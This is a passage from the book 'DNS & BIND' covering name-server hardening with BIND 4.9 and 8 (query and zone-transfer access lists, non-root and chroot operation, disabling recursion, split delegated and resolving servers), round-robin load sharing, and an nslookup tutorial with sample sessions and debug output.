Any kind of authoritative name server, master or slave, can apply an access list to the zone. Zone-specific access lists take precedence over global access lists for that zone. The zone-specific access list may even be more permissive than the global access list. If there's no zone-specific access list defined, any global access list will apply.

In BIND 4.9, this functionality is provided by the secure_zone record. Not only does it limit queries for individual resource records, it limits zone transfers, too. (In BIND 8, restricting zone transfers is done separately.) However, 4.9 servers have no mechanism for restricting who can send your server queries for data in zones your server isn't authoritative for; the secure zones mechanism only works with authoritative zones.

To use secure zones, you include one or more special TXT (text) records in your zone data on the primary master name server. The records are conveniently transferred to the zone's slave servers automatically. Of course, only BIND 4.9 slaves will understand them.

The TXT records are special because they're attached to the pseudo-domain name secure_zone, and the resource record-specific data has a special format, either:

address:mask

or:

address:H

In the first form, address is the dotted-octet form of the IP network to which you want to allow access to the data in this zone. The mask is the netmask for that address. If you want to allow all of net 15 access to your zone data, use 15.0.0.0:255.0.0.0. If you only want to allow the range of IP addresses from 15.254.0.0 to 15.255.255.255 access to your zone data, use 15.254.0.0:255.254.0.0.

The second form specifies the address of a particular host you'd like to allow access to your zone data. The H is equivalent to the mask 255.255.255.255; in other words, each bit in the 32-bit address is checked. Therefore, 15.255.152.4:H gives the host with the IP address 15.255.152.4 the ability to look up data in the zone.

If we wanted to restrict queries for information in movie.edu to hosts on Movie U.'s networks, we could add the following lines to db.movie on the movie.edu primary:

secure_zone    IN    TXT    "192.249.249.0:255.255.255.0"
secure_zone    IN    TXT    "192.253.253.0:255.255.255.0"
secure_zone    IN    TXT    "192.253.254.0:255.255.255.0"
secure_zone    IN    TXT    "127.0.0.1:H"

Notice that we included the address 127.0.0.1 in our access list. That's so a resolver can query its local name server. If you forget the :H, you'll see the following syslog message:

Aug 17 20:58:22 terminator named[2509]: build_secure_netlist
       (movie.edu): addr (127.0.0.1) is not in mask (0xff000000)

Also, note that the secure zones records here apply only to the zone they're in - that is, movie.edu. If you wanted to prevent unauthorized queries for data in other zones on this server, you'd have to add secure zones records to that zone on its primary master name server, too.

10.11.3 Preventing Unauthorized Zone Transfers

Even more important than controlling who can query your name server is ensuring that only your real slave name servers can transfer zones from your name server. Users on remote hosts that can query your name server's zone data can only look up data (e.g., addresses) for hosts whose domain names they already know, one at a time. Users who can start zone transfers from your server can list all of the hosts in your zones. It's the difference between letting random folks call your company's switchboard and ask for John Q. Cubicle's phone number and sending them a copy of your corporate phone directory.

BIND 8's allow-transfer substatement and 4.9's xfrnets directive let administrators apply an access list to zone transfers. allow-transfer can restrict transfers of a particular zone as a zone substatement or can restrict all zone transfers as an options substatement. It takes an address match list as an argument.

Say the slave servers for your acmebw.com zone have the IP addresses 192.168.0.1 and 192.168.1.1. The zone statement:

zone "acmebw.com" {
                type master;
                file "db.acmebw";
                allow-transfer { 192.168.0.1; 192.168.1.1; };
};

will allow only those slaves to transfer acmebw.com from the primary master name server. Note that since BIND 8's default is to allow any IP address to transfer zones, and because hackers can just as easily transfer the zone from your slaves, you should probably also have a zone statement like this on your slaves:

zone "acmebw.com" {
                type slave;
                masters { 192.168.0.4; };
                allow-transfer { none; };
};

BIND 8 will also let you establish a global access list on zone transfers. This applies to any zones that don't have their own, explicit access lists defined as zone substatements. For example, you might want to limit all zone transfers to your internal IP addresses:

options {
                allow-transfer { 192.168/16; };
};

The BIND 4.9 xfrnets directive takes as its arguments the networks or IP addresses you'd like to allow to transfer zones from your name server. Networks are specified by the dotted-octet form of the network number; for example:

xfrnets 15.0.0.0 128.32.0.0

allows only hosts on the Class A network 15 or the Class B network 128.32 to transfer zones from this name server. Unlike secure zones, this restriction applies to any zones the server is authoritative for.

If you want to specify just a part of the network, down to a single IP address, you can add a network mask. The syntax for including a network mask is network&netmask. Note that there are no spaces either between the network and the ampersand or between the ampersand and the netmask: they're not allowed.

To pare down the addresses allowed to transfer zones in the previous example to just the IP address 15.255.152.4 and the subnet 128.32.1.0, you could use the xfrnets directive:

xfrnets 15.255.152.4&255.255.255.255 128.32.1.0&255.255.255.0

For a primary master name server accessible from the Internet, you probably want to limit zone transfers to just your slave name servers. You probably don't need to use xfrnets on name servers inside your firewall, unless you're worried about your own employees listing your zone data.

10.11.4 Running BIND as a Non-Root User

Running a network server such as BIND as the root user can be dangerous - and BIND normally runs as root. If a hacker finds a vulnerability in the server through which he can read or write files, he'll have root access to the filesystem. If he can exploit a flaw that allows him to execute commands, he'll execute them as root.

BIND 8.1.2 includes experimental code that allows you to change the user and group the name server runs as. This allows you to run the name server with what's known as "least privilege:" the minimal set of rights it needs to do its job. That way, if someone is able to break into your host through the name server, at least they won't have root privileges.

BIND 8.1.2 also includes an option that allows you to chroot the name server: to change its view of the filesystem so that its root directory is actually a particular directory on your host's filesystem. This effectively traps your name server in this directory, along with any attackers who successfully compromise your name server's security.

The command-line options that implement these features are:

-u

Specifies the username or user ID the name server changes to after starting, e.g., named -u bin.

-g

Specifies the group or group ID the name server changes to after starting, e.g., named -g other. If -u is specified without -g, the name server will use the user's primary group.

-t

Specifies the directory for the name server to chroot to.

If you opt to use the -u and -g options, you'll have to decide what user and group to use. Your best bet is to create a new user and group for the name server to run as, such as named. Since the name server reads named.conf before giving up root privileges, you don't have to change that file's permissions. However, you may have to change the permissions and ownership of your zone data files so that the user the name server runs as can read them. If you use dynamic update, you'll have to make the zone data files for dynamically-updated zones writable by the name server.

The name server may have trouble writing the named.pid file, too, since it occasionally rewrites it after startup (and after giving up root privileges). On most versions of UNIX, /var/run (the directory in which the name server saves named.pid) isn't writable by non-root users. The easiest way to deal with this is to use the pid-file substatement to move named.pid to another directory:

options {
                pid-file "/var/named/named.pid";
};

Then make sure that file is writable by the user named runs as.

If your name server is configured to log to files (as opposed to syslog), make sure those files exist and are writable by the name server before starting the server.

The -t option takes a little more special configuration. In particular, you need to make sure that all the files named uses are present in the directory you're restricting the server to. That includes the following:

named-xfer

Most nameds expect to find the named-xfer executable in /etc/named-xfer. If you chroot the server to /var/named, that becomes /var/named/etc/named-xfer.

Shared libraries

If you build the name server with shared libraries, you'll need to put copies of those shared libraries in whatever directory your operating system expects them in. For example, if your OS looks for shared libraries in /lib, you'll need copies in /var/named/lib. The alternative is to build your name server as a statically-linked executable.

/dev/null

The name server needs a /dev/null in the chrooted directory. You can find out how to make one by reading /dev/MKDEV, or the manual page for mknod.

Finally, the name server may not be able to syslog in a chrooted environment. If that's the case, use the logging statement described in Chapter 7, Maintaining BIND, to log to files in the chrooted directory.

With any of these options, you'll have to remember to either edit ndc to specify the options upon restart or start, or to start and restart named manually.

10.11.5 "Delegated" Name Server Configuration

Some of your name servers answer nonrecursive queries from other name servers on the Internet, because your name servers appear in NS records delegating your zones to them. We'll call these name servers "delegated" name servers.

There are special measures you can take to secure your delegated name servers. But first, you should make sure that these servers don't receive any recursive queries (that is, you don't have any resolvers configured to use these servers, and no name servers use them as forwarders). Some of the precautions we'll take - like making the server respond nonrecursively even to recursive queries - preclude your resolvers from using these servers. If you do have resolvers using your delegated name servers, consider establishing another class of name servers to serve just your resolvers, as described in the next section.

Once you know your name server only answers queries from other name servers, you can turn off recursion. This eliminates a major vector of attack: the most common spoofing attacks involve inducing the target name server to query name servers under the hacker's control by sending the target a recursive query for a domain name in a zone served by the hacker's servers. To turn off recursion, you'd use:

options {
                recursion no;
};

on a BIND 8 server, and:

options no-recursion

on a BIND 4.9 server.

You should also restrict zone transfers of your zones to known slave servers, as described in Section 10.11.3, "Preventing Unauthorized Zone Transfers," earlier in this chapter. Finally, you might also want to turn off glue fetching. The name server will automatically try to resolve the names of any name servers in the RDATA of NS records; to prevent this from happening, and keep your name server from sending any queries of its own, use:

options {
                fetch-glue no;
};

on a BIND 8 server, and:

options no-fetch-glue

on BIND 4.9.

10.11.6 Resolving Name Server Configuration

We'll call a name server that serves one or more resolvers, or is configured as another name server's forwarder, a "resolving" name server. Unlike a delegated name server, a "resolving" name server can't refuse recursive queries. Consequently, we have to configure it a little differently to secure it. Since we know our name server should only receive queries from our own resolvers, we can configure it to deny queries from any but our resolvers' IP addresses.

Only BIND 8 will allow us to restrict which IP addresses can send our name server arbitrary queries. (BIND 4.9 servers will let us restrict which IP addresses can send the server queries in authoritative zones, via the secure_zone TXT record, but we're actually more worried about recursive queries in others' zones.) This allow-query substatement will restrict queries to just our internal network:

options {
                allow-query { 192.168/16; };
};

With this configuration, the only resolvers that can send your server recursive queries, and induce your name servers to query other name servers, are your internal resolvers, which are presumably relatively benevolent.

10.11.7 Two Name Servers in One

What if you only have one name server to advertise your zone and serve your resolvers, and you can't afford the additional expense of buying another computer to run another name server on? There are still a couple of options open to you. One is a single-server solution that takes advantage of BIND 8's flexibility. This configuration allows anyone to query the name server for information in your delegated zones, but only your internal resolvers can query the name server for other information. While this doesn't prevent remote resolvers from sending your name server recursive queries, those queries have to be in your authoritative zones, so they won't induce your name server to send additional queries.

Here's a named.conf file to do that:

options {
                allow-query { 192.168/16; };
};

zone "acmebw.com" {
                type master;
                file "db.acmebw";
                allow-query { any };
                allow-transfer { 192.168.0.1; 192.168.1.1; };
};

zone "168.192.in-addr.arpa" {
                type master;
                file "db.192.168";
                allow-query { any; };
                allow-transfer { 192.168.0.1; 192.168.1.1; };
};

Here, the more permissive zone-specific access lists apply to queries in the server's authoritative zones, but the more restrictive global access list applies to all other queries.

Another option is to run two named processes on a single host. One is configured as the delegated server, another as the resolving name server. Since we have no way of telling remote servers or configuring resolvers to query one of our name servers on a port other than 53, the default DNS port, we have to run these servers on different IP addresses.

Of course, if your host already has more than one network interface, that's no problem. Even if it only has one, the operating system may support IP address aliases. These allow you to attach more than one IP address to a single network interface. One named process can listen on each. Finally, if the operating system doesn't support IP aliases, you can still bind one named against the network interface's IP address, and one against the loopback address. Only the local host will be able to send queries to the named listening on the loopback address, but that's fine if the local host's resolver is the only one you need to serve.

First, here's the named.conf file for the delegated name server, listening on the network interface's IP address:

options {
                directory "/usr/local/named";
                recursion no;
                listen-on { 192.168.0.4; };
                pid-file "delegated.pid";
};

zone "acmebw.com" {
                type master;
                file "db.acmebw";
                allow-query { any };
                allow-transfer { 192.168.0.1; 192.168.1.1; };
};

zone "168.192.in-addr.arpa" {
                type master;
                file "db.192.168";
                allow-query { any; };
                allow-transfer { 192.168.0.1; 192.168.1.1; };
};

zone "." {
                type hint;
                file "db.cache";
};

Next, here's the named.conf file for the resolving name server, listening on the loopback address:

options {
                directory "/usr/local/named1";
                listen-on { 127.0.0.1; };
                pid-file "resolving.pid";
};

zone "." {
                type hint;
                file "db.cache";
};

The listen-on substatement tells the server reading the conf file to listen only on network interfaces whose IP addresses match the address match list. We've specified the IP address explicitly, so that there's no chance of mistakes. You can also use listen-on to have named listen on a port other than 53; for that, use the syntax:

options {
                listen-on port <n> { address_match_list };
};

Note that we turn recursion off on the delegated name server, but must leave it on on the resolving name server. We also give each name server its own PID file and its own directory, so that they don't try to use the same default filename for their PID files, debug files, and statistics files.

To use the resolving name server, listening on the loopback address, the local host's resolv.conf file must include:

nameserver 127.0.0.1

as the first nameserver directive.

Previous: 10.10 Avoiding a Bogus Name Server | DNS & BIND | Next: 10.12 Load Sharing Between Mirrored Servers
10.10 Avoiding a Bogus Name Server | Book Index | 10.12 Load Sharing Between Mirrored Servers


[Chapter 10] 10.12 Load Sharing Between Mirrored Servers

DNS & BIND

DNS & BINDSearch this book
Previous: 10.11 Securing Your Name Server Chapter 10
Advanced Features and Security 		Next: 11. nslookup

10.12 Load Sharing Between Mirrored Servers

Name servers released since BIND 4.9 have formalized some load-sharing functionality that has existed in patches to BIND for some time. Bryan Beecher wrote patches to BIND 4.8.3 to implement what he called "shuffle address records." These were address records of a special type that the name server rotated between responses. For example, if the domain name foo.bar.baz had three "shuffled" IP addresses, 192.1.1.1, 192.1.1.2, and 192.1.1.3, an appropriately patched name server would give them out first in the order:

192.1.1.1 192.1.1.2 192.1.1.3

then in the order:

192.1.1.2 192.1.1.3 192.1.1.1

and then in the order:

192.1.1.3 192.1.1.1 192.1.1.2

before starting over again with the first order, and repeating the rotation ad infinitum.

The functionality is enormously useful if you have a number of equivalent network resources, like mirrored FTP servers, Web servers, or terminal servers, and you'd like to spread the load among them. You establish one domain name that refers to the group of resources, configure clients to access that domain name, and the name server inverse-multiplexes the accesses between the IP addresses you list.

BIND 4.9 and later versions do away with the shuffle address record as a separate record type, subject to special handling. Instead, a modern name server rotates addresses for any domain name that has more than one A record. (In fact, the name server will rotate any type of record, except PTR records, as long as a given domain name has more than one of them.) So the records:

foo.bar.baz.    60    IN    A    192.1.1.1
foo.bar.baz.    60    IN    A    192.1.1.2
foo.bar.baz.    60    IN    A    192.1.1.3

accomplish on a 4.9 or later name server just what the shuffle address records did on a patched 4.8.3 server. The BIND documentation calls this process round robin.

It's a good idea to reduce the records' time-to-live, too, as we did in this example. This ensures that if the addresses are cached on an intermediate name server that doesn't support round robin, they'll time out of the cache quickly. If the intermediate name server looks up the name again, your authoritative name server can round robin the addresses again.

Note that this is really load sharing, not load balancing, since the name server gives out the addresses in a completely deterministic way, without regard to the actual load or capacity of the servers servicing the requests. In our example, the server at address 192.1.1.3 could be a 486DX33 running Linux, and the other two servers HP9000 K420s, and the Linux box would still get a third of the queries. Listing a higher-capacity server's address multiple times won't help, because BIND eliminates duplicate records.

Previous: 10.11 Securing Your Name Server | DNS & BIND | Next: 11. nslookup
10.11 Securing Your Name Server | Book Index | 11. nslookup


[Chapter 11] nslookup

DNS & BIND

DNS & BINDSearch this book
Previous: 10.12 Load Sharing Between Mirrored Servers Chapter 11 Next: 11.2 Interactive Versus Noninteractive

11. nslookup

Contents:
Is nslookup a Good Tool?
Interactive Versus Noninteractive
Option Settings
Avoiding the Search List
Common Tasks
Less Common Tasks
Troubleshooting nslookup Problems
Best of the Net

"Don't stand chattering to yourself like that," Humpty Dumpty said, looking at her for the first time, "but tell me your name and your business."

"My name is Alice, but - "

"It's a stupid name enough!" Humpty Dumpty interrupted impatiently. "What does it mean?"

"Must a name mean something?" Alice asked doubtfully.

"Of course it must," Humpty Dumpty said with a short laugh...

To be proficient at troubleshooting name server problems, you'll need a special tool to make DNS queries, one that gives you complete control. We'll cover nslookup in this chapter because it's distributed with BIND and with many vendors' systems. If you're the explorer type, you might also check out dig; it provides similar functionality, and some people like its user interface better. You can pick up source for dig from the tools directory (BIND 4) or src/bin directory (BIND 8) of the BIND distribution.

Note that this chapter isn't comprehensive; there are aspects of nslookup - mostly obscure and seldom used - that we won't cover. You can always consult the manual pages for those.

11.1 Is nslookup a Good Tool?

Much of the time you'll use nslookup to make queries, in the same way the resolver makes them. Sometimes, though, you'll use nslookup to query other name servers as a name server would, instead. Which one you emulate will depend on the problem you're trying to debug. You might wonder, "How accurately does nslookup emulate a resolver or a name server? Does nslookup actually use the BIND resolver library routines?" No, nslookup uses its own routines for querying name servers, but those routines are based on the resolver routines. Consequently, nslookup's behavior is very similar to the resolver's behavior, but it does differ slightly. We'll point out some of those differences. As for emulating name server behavior, nslookup allows us to query another server with the same query packet that a name server would use, but the retransmission scheme is quite different. Like a name server, though, nslookup can pull a copy of the zone data. So nslookup does not exactly emulate either the resolver or the name server, but it does emulate them well enough to make a good troubleshooting tool. Let's delve into those differences we alluded to.

11.1.1 Multiple Servers

nslookup only talks to one name server at a time. This is the biggest difference between nslookup's behavior and the resolver's behavior. The resolver makes use of each nameserver entry in resolv.conf. If there are two nameserver lines in resolv.conf, the resolver tries the first name server, then the second, then the first, then the second, until it receives a response or it gives up. The resolver does this for every query. On the other hand, nslookup tries the first name server in resolv.conf and keeps retrying until it finally gives up on the first name server and tries the second. Once it gets a response, it locks onto that server and doesn't try the other. But, you want your troubleshooting tool to talk only with one name server, so you can reduce the number of variables when analyzing a problem. If nslookup used more than one name server, you wouldn't have as much control over your troubleshooting session. So, talking to only one server is the right thing for a troubleshooting tool to do.

11.1.2 Timeouts

The nslookup timeouts match the resolver timeouts when the resolver is only querying one name server. A name server's timeouts, however, are based on how quickly the remote server answered the last query, a dynamic measure. nslookup will never match name server timeouts, but that's not a problem either. When you're querying remote name servers with nslookup, you probably only care what the response was, not how long it took.

11.1.3 Domain Searches

nslookup implements the search list just as the resolver code does. Name servers don't implement search lists, so, to act like a name server, the nslookup search function must be turned off - more on that later.

11.1.4 Zone Transfers

nslookup will do zone transfers just like a name server. Unlike the name server, nslookup does not check SOA serial numbers before pulling the zone data; you'll have to do that manually, if you want to.

11.1.5 Using NIS and /etc/hosts

This last point doesn't compare nslookup to the resolver or name server but to ways of looking up names in general. nslookup, as distributed from the Internet Software Consortium, only uses DNS; it won't use NIS or /etc/hosts. Most applications will use DNS, NIS, or /etc/hosts. Don't look to nslookup to help you find your lookup problem unless your host is really configured to use name servers.

Previous: 10.12 Load Sharing Between Mirrored Servers | DNS & BIND | Next: 11.2 Interactive Versus Noninteractive
10.12 Load Sharing Between Mirrored Servers | Book Index | 11.2 Interactive Versus Noninteractive


[Chapter 11] 11.2 Interactive Versus Noninteractive

DNS & BIND

DNS & BINDSearch this book
Previous: 11.1 Is nslookup a Good Tool? Chapter 11
nslookup 		Next: 11.3 Option Settings

11.2 Interactive Versus Noninteractive

Let's start our tutorial on nslookup by looking at how to start it and how to exit from it. nslookup can be run either interactively or noninteractively. If you only want to look up one piece of data, use the noninteractive form. If you plan on doing something more extensive, like changing servers or options, then use an interactive session.

To start an interactive session, just type nslookup:

% nslookup
Default Server:  terminator.movie.edu
Address:  0.0.0.0

> ^D

If you need help, type ? or help. When you want to exit, type ^D (control-D). If you try to exit from nslookup by interrupting it, with ^C (or whatever your interrupt character is), you won't get very far. nslookup catches the interrupt, stops whatever it is doing (like a zone transfer), and gives you the > prompt.

For a noninteractive lookup, include the name you are looking up on the command line:

% nslookup carrie
Server:  terminator.movie.edu
Address:  0.0.0.0

Name:    carrie.movie.edu
Address: 192.253.253.4

Previous: 11.1 Is nslookup a Good Tool? | DNS & BIND | Next: 11.3 Option Settings
11.1 Is nslookup a Good Tool? | Book Index | 11.3 Option Settings


[Chapter 11] 11.3 Option Settings

DNS & BIND

DNS & BINDSearch this book
Previous: 11.2 Interactive Versus Noninteractive Chapter 11
nslookup 		Next: 11.4 Avoiding the Search List

11.3 Option Settings

nslookup has its own set of dials and knobs, called option settings. All of the option settings can be changed. We'll discuss here what each of the options means. We'll use the rest of the chapter to show you how to use them.

% nslookup
Default Server:  bladerunner.fx.movie.edu
Address:  0.0.0.0

> set all
Default Server:  bladerunner.fx.movie.edu
Address:  0.0.0.0

Set options:
  nodebug         defname         search          recurse
  nod2            novc            noignoretc      port=53
  querytype=A     class=IN        timeout=5       retry=4
  root=a.root-servers.net.
  domain=fx.movie.edu
  srchlist=fx.movie.edu

> ^D

Before we get into the options, we need to cover the introductory lines. The default name server is bladerunner.fx.movie.edu. This means that every query sent by nslookup is going to be sent to bladerunner. The address 0.0.0.0 means "this host." When nslookup is using address 0.0.0.0 or 127.0.0.1 as its server, it is using the name server running on the local system - in this case, bladerunner.

The options come in two flavors: Boolean and value. The options that do not have an equals sign after them are Boolean options. They have the interesting property of being either "on" or "off." The value options can take on different, well, values. How can we tell which Boolean options are on and which are off? The option is off when a "no" precedes the option's name. nodebug means that debugging is off. As you might guess, the option search is on.

How you change Boolean or value options depends on whether you are using nslookup interactively or not. In an interactive session, you change an option with the set command, as in set debug or set domain=classics.movie.edu. From the command line, you omit the word set and precede the option with a hyphen, as in nslookup -debug or nslookup -domain=classics.movie.edu. The options can be abbreviated to their shortest unique string - e.g., nodeb for nodebug. In addition to its abbreviation, the querytype option can also be called simply type.

Let's go through each of the options:

[no]debug

Debugging is turned off by default. If it is turned on, the name server shows timeouts and displays the response packets. See [no]d2 for a discussion of debug level 2.

[no]defname

By default, nslookup adds the default domain name to names without a dot in them. Before search lists existed, the BIND resolver code would only add the default domain to names without any dots in them; this option reflects that behavior. nslookup can implement the pre-search list behavior (with search off and defname on), or it can implement the search list behavior (with search on).

[no]search

The search option "overshadows" the default domain name (defname) option. That is, defname only applies if search is turned off. By default, nslookup appends the domains in the search list (srchlist) to names that don't end in a dot.

[no]recurse

nslookup requests recursive service by default. This turns on the recursion-desired bit in query packets. The BIND resolver sends recursive queries in the same way. Name servers, however, send out nonrecursive queries to other name servers.

[no]d2

Debugging at level 2 is turned off by default. If it is turned on, you see the query packets sent out in addition to the regular debugging output. Turning on d2 also turns on debug. Turning off d2 turns off d2 only; debug is left on. Turning off debug turns off both debug and d2.

[no]vc

By default, nslookup makes queries using UDP packets instead of over a virtual circuit (TCP). Most BIND resolver queries are made with UDP, so the default nslookup behavior matches the resolver. As the resolver can be instructed to use TCP, so can nslookup.

[no]ignoretc

By default, nslookup doesn't ignore truncated packets. If a packet is received that has the "truncated" bit set - indicating that the name server couldn't fit all the important information in the UDP response packet - nslookup doesn't ignore it; it retries the query using a TCP connection instead of UDP. Again, this matches the BIND resolver behavior. The reason for retrying the query using a TCP connection is that TCP responses can be twice as large as UDP responses. TCP responses could be many times the size of a UDP response (a TCP connection can carry much more data than a single UDP packet), but the buffers BIND uses for a TCP query are only twice as large as the UDP buffers.

port=53

The DNS service is on port 53. You can start a name server on another port - for debugging purposes, for example - and nslookup can be directed to use that port.

querytype=A

By default, nslookup looks up A (address) resource record types. In addition, if you type in an IP address (and the nslookup query type is address or pointer), then nslookup will invert the address, append in-addr.arpa, and look up PTR (pointer) data instead.

class=IN

The only class that matters is Internet. Well, there is the Hesiod (HS) class too, if you are an MITer or run Ultrix.

timeout=5

If the name server doesn't respond within 5 seconds, nslookup resends the query and doubles the timeout (to 10, 20, and then 40 seconds). The BIND resolver uses the same timeouts when querying a single name server.

retry=4

Send the query four times before giving up. After each retry, the timeout value is doubled. Again, this matches the BIND resolver behavior.

root=a.root-servers.net.

There is a convenience command called root, which switches your default server to the server named here. Executing the root command from a modern nslookup's prompt is equivalent to executing server a.root-servers.net. Older versions use nic.ddn.mil (old) or even sri-nic.arpa (ancient) as the default root name server. You can change the default "root" server with set root=server.

domain=fx.movie.edu

This is the default domain appended if the defname option is on.

srchlist=fx.movie.edu

If search is on, these are the domains appended to names that do not end in a dot. The domains are listed in the order that they are tried, separated by a slash. (The 4.8.3 search list defaulted to fx.movie.edu/movie.edu. At 4.9.3, you have to explicitly set the search list in /etc/resolv.conf to get both fx.movie.edu and movie.edu.)

11.3.1 The .nslookuprc File

You can set up new default nslookup options in an .nslookuprc file. nslookup will look for an .nslookuprc file in your home directory when it starts up, in both interactive and noninteractive modes. The .nslookuprc file can contain any legal set commands, one per line. This is useful, for example, if your old nslookup still thinks sri-nic.arpa is a root name server. You can set the default root name server to a real root with a line like this in your .nslookuprc file:

set root=a.root-servers.net.

You might also use .nslookuprc to set your search list to something other than your host's default search list, or to change the timeouts nslookup uses.

Previous: 11.2 Interactive Versus Noninteractive | DNS & BIND | Next: 11.4 Avoiding the Search List
11.2 Interactive Versus Noninteractive | Book Index | 11.4 Avoiding the Search List


[Chapter 11] 11.4 Avoiding the Search List

DNS & BIND

DNS & BINDSearch this book
Previous: 11.3 Option Settings Chapter 11
nslookup 		Next: 11.5 Common Tasks

11.4 Avoiding the Search List

nslookup implements the search list, as the resolver does. When you are debugging, the search list can get in your way. Either you need to turn the search list off completely (set nosearch), or you need to add a trailing dot to the fully qualified domain name you are looking up. We prefer the latter, as you'll see in our examples.

Previous: 11.3 Option Settings | DNS & BIND | Next: 11.5 Common Tasks
11.3 Option Settings | Book Index | 11.5 Common Tasks


[Chapter 11] 11.5 Common Tasks

DNS & BIND

DNS & BINDSearch this book
Previous: 11.4 Avoiding the Search List Chapter 11
nslookup 		Next: 11.6 Less Common Tasks

11.5 Common Tasks

There are little chores you'll come to use nslookup for almost every day: finding the IP address or MX records for a given domain name, or querying a particular name server for data. We'll cover these first, before moving on to the more occasional stuff.

11.5.1 Looking Up Different Data Types

By default, nslookup looks up the address for a name, or the name for an address. You can look up any data type by changing the querytype, as we will show in this example:

% nslookup
Default Server:  terminator.movie.edu
Address:  0.0.0.0

> misery                  - Look up address
Server:  terminator.movie.edu
Address:  0.0.0.0

Name:    misery.movie.edu
Address:  192.253.253.2

> 192.253.253.2           - Look up name
Server:  terminator.movie.edu
Address:  0.0.0.0

Name:    misery.movie.edu
Address:  192.253.253.2

> set q=mx                - Look up MX data
> wormhole
Server:  terminator.movie.edu
Address:  0.0.0.0

wormhole.movie.edu      preference = 10, mail exchanger = wormhole.movie.edu
wormhole.movie.edu      internet address = 192.249.249.1
wormhole.movie.edu      internet address = 192.253.253.1

> set q=any               - Look up data of any type
> diehard
Server:  terminator.movie.edu
Address:  0.0.0.0

diehard.movie.edu       internet address = 192.249.249.4
diehard.movie.edu       preference = 10, mail exchanger = diehard.movie.edu
diehard.movie.edu       internet address = 192.249.249.4

These are only a few of the valid DNS data types, of course. For the complete list, see Appendix A, DNS Message Format and Resource Records.

11.5.2 Authoritative Versus Nonauthoritative Answers

If you've used nslookup before, you might have noticed something peculiar - the first time you look up a remote name, the answer is authoritative, but the second time you look up the same name it is nonauthoritative. Here's an example:

% nslookup
Default Server:  relay.hp.com
Address:  15.255.152.2

> slate.mines.colorado.edu.
Server:  relay.hp.com
Address:  15.255.152.2

Name:     slate.mines.colorado.edu
Address:  138.67.1.3

> slate.mines.colorado.edu.
Server:  relay.hp.com
Address:  15.255.152.2

Non-authoritative answer:
Name:    slate.mines.colorado.edu
Address:  138.67.1.3

While this looks odd, it really isn't. What is happening is that the first time the local name server looks up slate, it contacts the name server for mines.colorado.edu, and the mines.colorado.edu server responds with an authoritative answer. The local name server, in effect, passes the authoritative response directly back to nslookup. It also caches the response. The second time you look up slate, the name server answers out of its cache, which results in the answer "nonauthoritative."

Notice that we ended the domain name with a trailing dot each time we looked it up. The response would have been the same had we left the trailing dot off. There are times when it is critical that you use the trailing dot while debugging, and times when it is not. Rather than stopping to decide if this name needs a trailing dot, we always add one if we know the name is fully qualified, except, of course, for the example where we turn off the search list.

11.5.3 Switching Servers

Sometimes you want to query another name server directly - you may think it is misbehaving, for example. You can switch servers with nslookup by using the server or lserver command. The difference between server and lserver is that lserver queries your "local" server - the one you started out with - to get the address of the server you want to switch to; server uses the default server instead of the local server. This difference is important to know because the server you just switched to may not be responding, as we'll show in this example:

% nslookup
Default Server:  relay.hp.com
Address:  15.255.152.2

When we start up, our first server, relay.hp.com, becomes our lserver. This will matter later on in this session.

> server galt.cs.purdue.edu.
Default Server:  galt.cs.purdue.edu
Address:  128.10.2.39

> cs.purdue.edu.
Server:  galt.cs.purdue.edu
Address:  128.10.2.39

*** galt.cs.purdue.edu can't find cs.purdue.edu.: No response from server

At this point we try to switch back to our original name server. But there is no name server running on galt to look up relay's address.

> server relay.hp.com.

*** Can't find address for server relay.hp.com.: No response from server

Instead of being stuck, though, we use the lserver command to have our local server look up relay's address:

> lserver relay.hp.com.
Default Server:  relay.hp.com
Address:  15.255.152.2

> ^D

Since the server on galt did not respond - it's not even running a name server - it wasn't possible to look up the address of relay to switch back to using relay's name server. Here's where lserver comes to the rescue: the local name server, relay, was still responding, so we used it. Instead of using lserver, we could have recovered by using relay's IP address directly - server 15.255.152.2.

You can even change servers on a per-query basis. To specify that you'd like nslookup to query a particular server for information about a given domain name, you can specify the server as the second argument on the line, after the domain name to look up - like so:

% nslookup
Default Server:  relay.hp.com
Address:  15.255.152.2

> saturn.sun.com. ns.sun.com.
Name Server:  ns.sun.com
Address:  192.9.9.3

Name:    saturn.sun.com
Addresses: 192.9.25.2

> ^D

And, of course, you can change servers from the command line. You can specify the server to query as the argument after the domain name to look up, like this:

% nslookup -type=mx fisherking.movie.edu. terminator.movie.edu.

This instructs nslookup to query terminator.movie.edu for MX records for fisherking.movie.edu.

Finally, to specify an alternate default server and enter interactive mode, you can use a hyphen in place of the domain name to look up:

% nslookup - terminator.movie.edu.

Previous: 11.4 Avoiding the Search List | DNS & BIND | Next: 11.6 Less Common Tasks
11.4 Avoiding the Search List | Book Index | 11.6 Less Common Tasks


[Chapter 11] 11.6 Less Common Tasks

DNS & BIND

DNS & BINDSearch this book
Previous: 11.5 Common Tasks Chapter 11
nslookup 		Next: 11.7 Troubleshooting nslookup Problems

11.6 Less Common Tasks

These are tricks you'll probably have to use less often, but which are very handy to have in your repertoire. Most of these will be helpful when you're trying to troubleshoot a DNS or BIND problem; they'll enable you to grub around in the packets the resolver sees, and mimic a BIND name server querying another name server or transferring zone data.

11.6.1 Seeing the Query and Response Packets

If you need to, you can direct nslookup to show you the queries it sends out and the responses it receives. Turning on debug shows you the responses. Turning on d2 shows you the queries as well. When you want to turn off debugging completely, you have to use set nodebug, since set nod2 only turns off level 2 debugging. After the following trace, we'll explain some parts of the packet output. If you want, you can pull out your copy of RFC 1035, turn to page 25, and read along with our explanation.

% nslookup
Default Server:  terminator.movie.edu
Address:  0.0.0.0

> set debug
> wormhole
Server:  terminator.movie.edu
Address:  0.0.0.0

------------
Got answer:
    HEADER:
        opcode = QUERY, id = 6813, rcode = NOERROR
        header flags:  response, auth. answer, want recursion,
        recursion avail.  questions = 1,  answers = 2,
        authority records = 2,  additional = 3

    QUESTIONS:
        wormhole.movie.edu, type = A, class = IN
    ANSWERS:
    ->  wormhole.movie.edu
        internet address = 192.253.253.1
        ttl = 86400 (1D)
    ->  wormhole.movie.edu
        internet address = 192.249.249.1
        ttl = 86400 (1D)
    AUTHORITY RECORDS:
    ->  movie.edu
        nameserver = terminator.movie.edu
        ttl = 86400 (1D)
    ->  movie.edu
        nameserver = wormhole.movie.edu
        ttl = 86400 (1D)
    ADDITIONAL RECORDS:
    ->  terminator.movie.edu
        internet address = 192.249.249.3
        ttl = 86400 (1D)
    ->  wormhole.movie.edu
        internet address = 192.253.253.1
        ttl = 86400 (1D)
    ->  wormhole.movie.edu
        internet address = 192.249.249.1
        ttl = 86400 (1D)

------------
Name:    wormhole.movie.edu
